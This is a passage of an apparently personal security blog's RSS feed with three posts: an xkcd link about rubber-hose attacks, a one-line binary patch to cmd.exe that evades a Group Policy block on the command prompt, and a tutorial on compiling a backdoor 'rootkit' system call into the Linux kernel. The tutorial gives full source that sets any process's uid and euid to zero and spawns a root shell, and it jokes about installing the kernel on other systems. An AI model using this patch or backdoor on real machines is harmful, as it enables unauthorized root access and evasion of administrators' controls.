		<comments>http://gl.ib.ly/stuff/2009/02/07/cryptography-rubber-hose-attacks/#comments</comments>
		<pubDate>Sat, 07 Feb 2009 06:07:10 +0000</pubDate>
		<dc:creator><![CDATA[tariq]]></dc:creator>
				<category><![CDATA[archives]]></category>
		<category><![CDATA[Stuff]]></category>
		<category><![CDATA[comic]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[deniable encryption]]></category>
		<category><![CDATA[rip]]></category>
		<category><![CDATA[rubber hose]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tidbits]]></category>
		<category><![CDATA[xkcd]]></category>

		<guid isPermaLink="false">http://gl.ib.ly/?p=29</guid>
		<description><![CDATA[<p>Awesome! Hot linked from xkcd. Also, checkout wikipedia for more details on what the Russians do and how public key cryptography could get you killed or landed in jail (if you live in the uk).</p><p>The post <a href="http://gl.ib.ly/stuff/2009/02/07/cryptography-rubber-hose-attacks/">Rubber hose attacks!</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><img alt="" src="http://imgs.xkcd.com/comics/security.png" /></p>
<p>Awesome! Hot linked from <a title="http://xkcd.com/538/" href="http://web.archive.org/web/20090604081323/http://gl.ib.ly/exit.php?url_id=51&amp;entry_id=25">xkcd</a>. Also, checkout <a title="http://en.wikipedia.org/wiki/Rubber_hose_cryptanalysis" href="http://web.archive.org/web/20090604081323/http://gl.ib.ly/exit.php?url_id=52&amp;entry_id=25">wikipedia</a> for more details on what the Russians do and how public key cryptography could get you killed or landed in jail (<a title="http://www.statutelaw.gov.uk/content.aspx?activeTextDocId=1757378" href="http://web.archive.org/web/20090604081323/http://gl.ib.ly/exit.php?url_id=53&amp;entry_id=25">if you live in the uk</a>).</p>
<p>The post <a href="http://gl.ib.ly/stuff/2009/02/07/cryptography-rubber-hose-attacks/">Rubber hose attacks!</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://gl.ib.ly/stuff/2009/02/07/cryptography-rubber-hose-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The command prompt has been disabled by your administrator?</title>
		<link>http://gl.ib.ly/stuff/2009/02/05/command-prompt-disabled-administrator/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=command-prompt-disabled-administrator</link>
		<comments>http://gl.ib.ly/stuff/2009/02/05/command-prompt-disabled-administrator/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 06:32:03 +0000</pubDate>
		<dc:creator><![CDATA[tariq]]></dc:creator>
				<category><![CDATA[Stuff]]></category>
		<category><![CDATA[cmd.exe]]></category>
		<category><![CDATA[gpo]]></category>
		<category><![CDATA[one liners]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sfk]]></category>
		<category><![CDATA[swiss file knife]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[xxd]]></category>

		<guid isPermaLink="false">http://gl.ib.ly/?p=39</guid>
		<description><![CDATA[<p>I came across an old enough post on Didier&#8217;s blog about Group policies that have disabled cmd.exe from running. Didier mentions a few ways to get cmd.exe to run. The suggestion I like the most is to find the DisableCMD string in cmd.exe<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://gl.ib.ly/stuff/2009/02/05/command-prompt-disabled-administrator/">Read more &#8250;</a></div><!-- end of .read-more --></p><p>The post <a href="http://gl.ib.ly/stuff/2009/02/05/command-prompt-disabled-administrator/">The command prompt has been disabled by your administrator?</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>I came across an old enough post on Didier&#8217;s blog about <a title="http://blog.didierstevens.com/2007/11/28/quickpost-disableamd-disableregistryfools/trackback/" href="http://web.archive.org/web/20090703174900/http://gl.ib.ly/exit.php?url_id=46&amp;entry_id=22">Group policies that have disabled cmd.exe from running</a>. Didier mentions a few ways to get cmd.exe to run. The suggestion I like the most is to find the <i>DisableCMD</i> string in cmd.exe and change it to <i>DisableAMD</i> using a hex editor. Thankfully there is a tool which will allow us to patch cmd.exe in one tiny line.</p>
<div>The tool is <a title="http://stahlforce.com/dev/swiss-file-knife.html" href="http://web.archive.org/web/20090703174900/http://gl.ib.ly/exit.php?url_id=47&amp;entry_id=22">Swiss File Knife</a> and it is fantabulous. Luckily it is available on Windows as well as Linux. Oh yeah, the command!Well first make a copy of your cmd.exe (%SYSTEMROOT%\System32\cmd.exe) file, mine is called cmd2.exe.</p>
<pre>sfk replace cmd2.exe -binary /440069007300610062006c00650043004D004400/440069007300610062006c00650041004D004400/</pre>
<p>A quick explanation of what is being changed</p>
<pre>  D   i   s   a   b   l   e   C   M  D           ... to...
 440069007300610062006c00650043004D004400
  D   i   s   a   b   l   e   A   M  D    
 440069007300610062006c00650043004D004400</pre>
<p>You can check your changes are all right if you see the following.</p>
<div>xxd cmd2.exe | egrep  -A1 &#8220;D.i.s.a&#8221;</div>
<pre>00040d0: 4400 6900 7300 6100 6200 6c00 6500 5500  D.i.s.a.b.l.e.U.
00040e0: 4e00 4300 4300 6800 6500 6300 6b00 0000  N.C.C.h.e.c.k...
--
0013d40: 7e05 ffff 4400 6900 7300 6100 6200 6c00  ~...D.i.s.a.b.l.
0013d50: 6500 4100 4d00 4400 0000 6689 18e9 def4  e.A.M.D...f.....
--
004a400: 2000 2000 2000 4400 6900 7300 6100 6200   . . .D.i.s.a.b.
004a410: 6c00 6500 2000 6500 7800 6500 6300 7500  l.e. .e.x.e.c.u.
--
004aad0: 2000 4400 6900 7300 6100 6200 6c00 6500   .D.i.s.a.b.l.e.
004aae0: 2000 6400 6500 6c00 6100 7900 6500 6400   .d.e.l.a.y.e.d.</pre>
</div>
<p>The post <a href="http://gl.ib.ly/stuff/2009/02/05/command-prompt-disabled-administrator/">The command prompt has been disabled by your administrator?</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://gl.ib.ly/stuff/2009/02/05/command-prompt-disabled-administrator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adding a malicious system call to the Linux kernel &#8211; Rootkit</title>
		<link>http://gl.ib.ly/security/2008/12/11/adding-a-malicious-system-call-to-the-linux-kernel-rootkit/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=adding-a-malicious-system-call-to-the-linux-kernel-rootkit</link>
		<comments>http://gl.ib.ly/security/2008/12/11/adding-a-malicious-system-call-to-the-linux-kernel-rootkit/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 18:02:50 +0000</pubDate>
		<dc:creator><![CDATA[tariq]]></dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[computer security]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mssf]]></category>
		<category><![CDATA[opensuse]]></category>
		<category><![CDATA[rootkit]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[system call]]></category>
		<category><![CDATA[virtual pc]]></category>

		<guid isPermaLink="false">http://gl.ib.ly/?p=77</guid>
		<description><![CDATA[<p>Introduction Today I am adding a malicious system call to the Linux kernel which will allow the caller to do something they cannot normally do in user mode. When attacking a Linux box our goal is usually to become root;<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://gl.ib.ly/security/2008/12/11/adding-a-malicious-system-call-to-the-linux-kernel-rootkit/">Read more &#8250;</a></div><!-- end of .read-more --></p><p>The post <a href="http://gl.ib.ly/security/2008/12/11/adding-a-malicious-system-call-to-the-linux-kernel-rootkit/">Adding a malicious system call to the Linux kernel &#8211; Rootkit</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></description>
				<content:encoded><![CDATA[<h2>Introduction</h2>
<p><span style="color: #545454;">Today I am adding a malicious system call to the Linux kernel which will allow the caller to do something they cannot normally do in user mode. When attacking a Linux box our goal is usually to become root; as root we can do anything we like, so the system call I will add to the Linux kernel gives the caller real and effective user ids of zero.</span><br style="color: #545454;" /><br style="color: #545454;" /><span style="color: #545454;">There are relatively few tutorials out there on how to do this, unfortunately there a little differences between versions of Linux that can easily stump beginners, so this tutorial tries to give you an environment which you can easily replicate using a virtual machine and go through the tutorial.</span><br style="color: #545454;" /><br style="color: #545454;" /></p>
<h2>The System</h2>
<p>In this tutorial I use <i>Microsoft® Virtual PC 6.0.156.0</i> which is free and easily available to windows users. I&#8217;d highly recommend VirtualBox which I use more often. My virtual machine had <i>Virtual Hard Disk</i> of 4GB and 512mb of RAM. The OS used was OpenSuse 10.2 (x86).<br />
<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000041.png"><img class="aligncenter size-full wp-image-108" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000041.png" alt="00000041" width="722" height="361" /></a><br />
Look for the following on the web:</p>
<ul>
<li><span style="color: #545454;">openSUSE-10.2-GM-i386-CD1.iso</span></li>
<li><span style="color: #545454;">openSUSE-10.2-GM-i386-CD2.iso</span></li>
<li><span style="color: #545454;">openSUSE-10.2-GM-i386-CD3.iso</span></li>
<li><span style="color: #545454;">openSUSE-10.2-GM-i386-CD4.iso</span></li>
<li><span style="color: #545454;">openSUSE-10.2-GM-i386-CD5.iso</span></li>
</ul>
<p class="serendipity_entry_extended" style="color: #545454;">Once fully installed su to the root account (simply type su at the console) and enter your root password. Then type yast and hit enter.</p>
<p>Enter<i> Software Management </i>as there is a good few packages we need, namely: gcc, gdb, make, automake, autoconf, kernel-source. Add these packages by searching for them, checking them and then installing them.</p>
<p>I have also read <a style="color: #7da939;" title="http://the-paper-trail.org/blog/adding-a-system-call-to-the-linux-kernel/" href="http://the-paper-trail.org/blog/adding-a-system-call-to-the-linux-kernel/">a suggestion</a> that <a style="color: #7da939;" title="http://www.archlinux.org/" href=""http://www.archlinux.org/">ArchLinux</a> is a good no nonsense distro which is good for getting your hands dirty. I haven&#8217;t used it yet but it sounds like it is worth looking into.</p>
<h2>Adding the System Call</h2>
<p>After installing kernel-source, the kernel sources should be available at <code>/usr/src/</code>. Inside this directory there should be symbolic link called <i>linux</i> to whichever sources where installed, in my case I had the following:<br />
<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000064.png"><img class="aligncenter size-full wp-image-109" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000064.png" alt="00000064" width="722" height="135" /></a><br />
You might notice linux-2.6.18.2-34_orig from the ls above, this is just a copy of the original sources before I started editing them; also, the packages directory is created during the make process.</p>
<p>Get yourself into /usr/src/linux and let’s get editing &gt;;-D. All paths given below are relative to this directory.</p>
<ol>
<ol>
<li>Create the file kernel/rootkit.h and paste in the code from the rootkit.h part of the appendix.</li>
<li>Create the file kernel/rootkit.c and paste in the code from the rootkit.c part of the appendix.</li>
<li>Open arch/i386/kernel/syscall.S and add the following to the end:
<div class="Code">.long sys_rootkit</div>
<p>As you may have guessed my new system call is going to be called rootkit &#8212; as it will give us root on the affected box; while this is all nice dandy for our purposes, rootkits should be a great deal stealthier .</li>
<li>Open <i>kernel/Makefile</i> and add the following to the right hand side of “obj-i =”:
<div class="Code">rootkit.o</div>
</li>
<li>Open include/asm/unistd.h. You should see many lines of the format #define __NR_&lt;some_symbol&gt; &lt;some_number&gt;, scroll to the last such line and add the following:
<div class="Code"><span style="color: blue;">#define</span> __NR_rootkit 318</div>
</li>
<li>The number on the right (above) should be one greater than the number on the preceding line, in my case this was 318. In addition we must also edit the system call counter to reflect there being one more system call. This should be located a couple of lines below your new line. It should now read:
<div class="Code"><span style="color: blue;">#define</span> NR_systemcalls 319</div>
</li>
<li>Copy the configuration file for the existing kernel (as we know it works) by entering cp /boot/config-`uname –r`./.config at the command prompt, to our source directory.</li>
<li>Type make menuconfig, this will bring up a console configuration menu. Select Load an alternative file and confirm the usage of the .config file. I like to edit General Settings -&gt; Local Version to read rootkit, just so I don’t forget what this kernel contains!</li>
<li>Type make rpm and hit return to kick off compilation. This process can take a long time, typically 15-20 minutes.</li>
<li>When compilation has finished do the following:<br />
<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000083.png"><img class="aligncenter size-full wp-image-110" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000083.png" alt="00000083" width="723" height="56" /></a><br />
Brilliant! Our kernel rpm is good to go, for this system and others &lt;insert_long_evil_laugh_here&gt;! Let’s install the kernel by typing rpm -ivh kernel-2.6.18.234rootkit-1.i386.rpm (use the &#8211;force option for subsequent installations on the same system, for which you can omit all later steps).<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000089.png"><img class="aligncenter size-full wp-image-111" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000089.png" alt="00000089" width="721" height="78" /></a></li>
<li>Next we need to create a ramdisk for our new kernel, otherwise we may run into boot problems. Do this my typing mkinitrd at the prompt and hitting return.</li>
<li>Start yast and follow the screen shots.<br />
<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000097.png"><img class="aligncenter size-full wp-image-112" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000097.png" alt="00000097" width="721" height="361" /></a><a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000121.png"><img class="aligncenter size-full wp-image-113" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000121.png" alt="00000121" width="720" height="360" /></a><a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000153.png"><img class="aligncenter size-full wp-image-114" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000153.png" alt="00000153" width="721" height="361" /></a><a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000180.png"><img class="aligncenter size-full wp-image-115" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000180.png" alt="00000180" width="720" height="360" /></a><br />
Select correct Kernel image and Initial RAM disk and hit OK.<br />
<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000212.png"><img class="aligncenter size-full wp-image-116" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000212.png" alt="00000212" width="720" height="360" /></a><br />
Move our Rootkit version to the top and set as the default boot option. Then exit yast and type shutdown -r now!</li>
<li>You should be greeted by the following on reboot.<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000244.png"><img class="aligncenter size-full wp-image-117" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000244.png" alt="00000244" width="798" height="600" /></a></li>
<li>When the system has fully loaded, open up a terminal and the following:<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000606.png"><img class="aligncenter size-full wp-image-118" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000606.png" alt="00000606" width="720" height="48" /></a>This confirms that our new kernel is in action!</li>
</ol>
</ol>
<h4>Using the System call</h4>
<ol>
<ol>
<ol>
<li>I like everything in userland to reflect the changes in the kernel. To do this open up /usr/include/asm/unistd.h (you will need to be root) and edit as we did in step 5 of Adding the System Call. Also, open up /usr/include/bits/syscall.h and add the following line wherever you want.
<div class="Code"><span style="color: blue;">#define</span> SYS_rootkit __NR_rootkit</div>
</li>
<li>Login as a non privileged user, create a myprog.c file in your home directory and paste in the contents of the myprog.c section in the appendix.</li>
<li>Compile the program by typing in gcc myprog.c. This will create an executable file called a.out.</li>
<li>Execute a.out by typing ./a.out at the prompt. If everything goes well you should see the following.<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000610.png"><img class="aligncenter size-full wp-image-119" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000610.png" alt="00000610" width="721" height="108" /></a><br />
To see some further debugging output type dmesg | less at a prompt. You’ll get something like this at the end:<br />
<a href="http://gl.ib.ly/wp-content/uploads/2014/05/00000617.png"><img class="aligncenter size-full wp-image-120" src="http://gl.ib.ly/wp-content/uploads/2014/05/00000617.png" alt="00000617" width="721" height="120" /></a></li>
</ol>
</ol>
</ol>
<h2>Appendix</h2>
<h3>System Call</h3>
<p><i>Most accurate source is available at <a style="color: #7da939;" title="http://gist.github.com/163266" href="http://gist.github.com/163266">http://gist.github.com/163266</a>.</i></p>
<h4>rootkit.h</h4>
<pre>#ifndef __LINUX_ROOTKIT_H 
#define __LINUX_ROOTKIT_H 
 
#include &lt;linux/linkage.h&gt; 
#include &lt;linux/kernel.h&gt; 
#include &lt;linux/sched.h&gt; 
#include &lt;linux/syscalls.h&gt; 
#include &lt;linux/sys.h&gt; 
 
#endif</pre>
<h4>rootkit.c</h4>
<pre>#include "rootkit.h" 
int pc = 0; 

int print_info(void) { 
   int o_ruid = current-&gt;uid; 
   int o_euid = current-&gt;euid; 
   int o_suid = current-&gt;suid; 
   pc++;// inc counter 
   printk("\n *** ---[ Printing %d ] *** \n", pc); 
   printk("uid = %d ", o_ruid); 
   printk("euid = %d ", o_euid); 
   printk("suid = %d ", o_suid); 
   printk("getuid() = %d ", (int) sys_getuid()); 
   printk("geteuid() = %d ", (int) sys_geteuid()); 
   printk("getpid() = %d ", (int) sys_getpid()); 
   return (0); 
} 
 
asmlinkage int sys_rootkit(int mode, pid_t mypid) { 
   struct task_struct *ts; 
   int rc=0; // Get some feedback 
 
   print_info(); 
 
   printk("find_task_by_pid(%d)!\n", mypid); 
   ts = find_task_by_pid(mypid); 
   if(ts) { 
      ts-&gt;uid = (uid_t)0; 
      ts-&gt;euid = (uid_t)0; 
   } else { 
      rc = -1; 
   } 
 
   print_info(); 
   return(rc);
}</pre>
<h3>Userland Program</h3>
<h4>myprog.c</h4>
<pre>#include &lt;linux/unistd.h&gt; 
#include &lt;sys/syscall.h&gt; 
#include &lt;stdio.h&gt; 
 
#define rootkit(x,y) syscall(__NR_rootkit,x,y) 
 
main() { 
   printf("Exit code = %d\n\n", rootkit(1,getpid())); 
 
   char *cmd[2]; 
   cmd[0] = "/bin/sh"; 
   cmd[1] = NULL; 
   execve(cmd[0], cmd, NULL); 
}</pre>
<p>Please note the #define above. Many HOWTOs on the net state that you should use _syscall2(int, rootkit, &#8230;); to establish the rootkit macro; however, all of these _syscall&lt;number_of_args&gt; (&#8230;) have been moved to kernel only spaces (older kernels are not affected). From now on you should use syscall (type man syscall at a prompt for further info).</p>
<p>The post <a href="http://gl.ib.ly/security/2008/12/11/adding-a-malicious-system-call-to-the-linux-kernel-rootkit/">Adding a malicious system call to the Linux kernel &#8211; Rootkit</a> appeared first on <a href="http://gl.ib.ly">GL.IB.LY</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://gl.ib.ly/security/2008/12/11/adding-a-malicious-system-call-to-the-linux-kernel-rootkit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
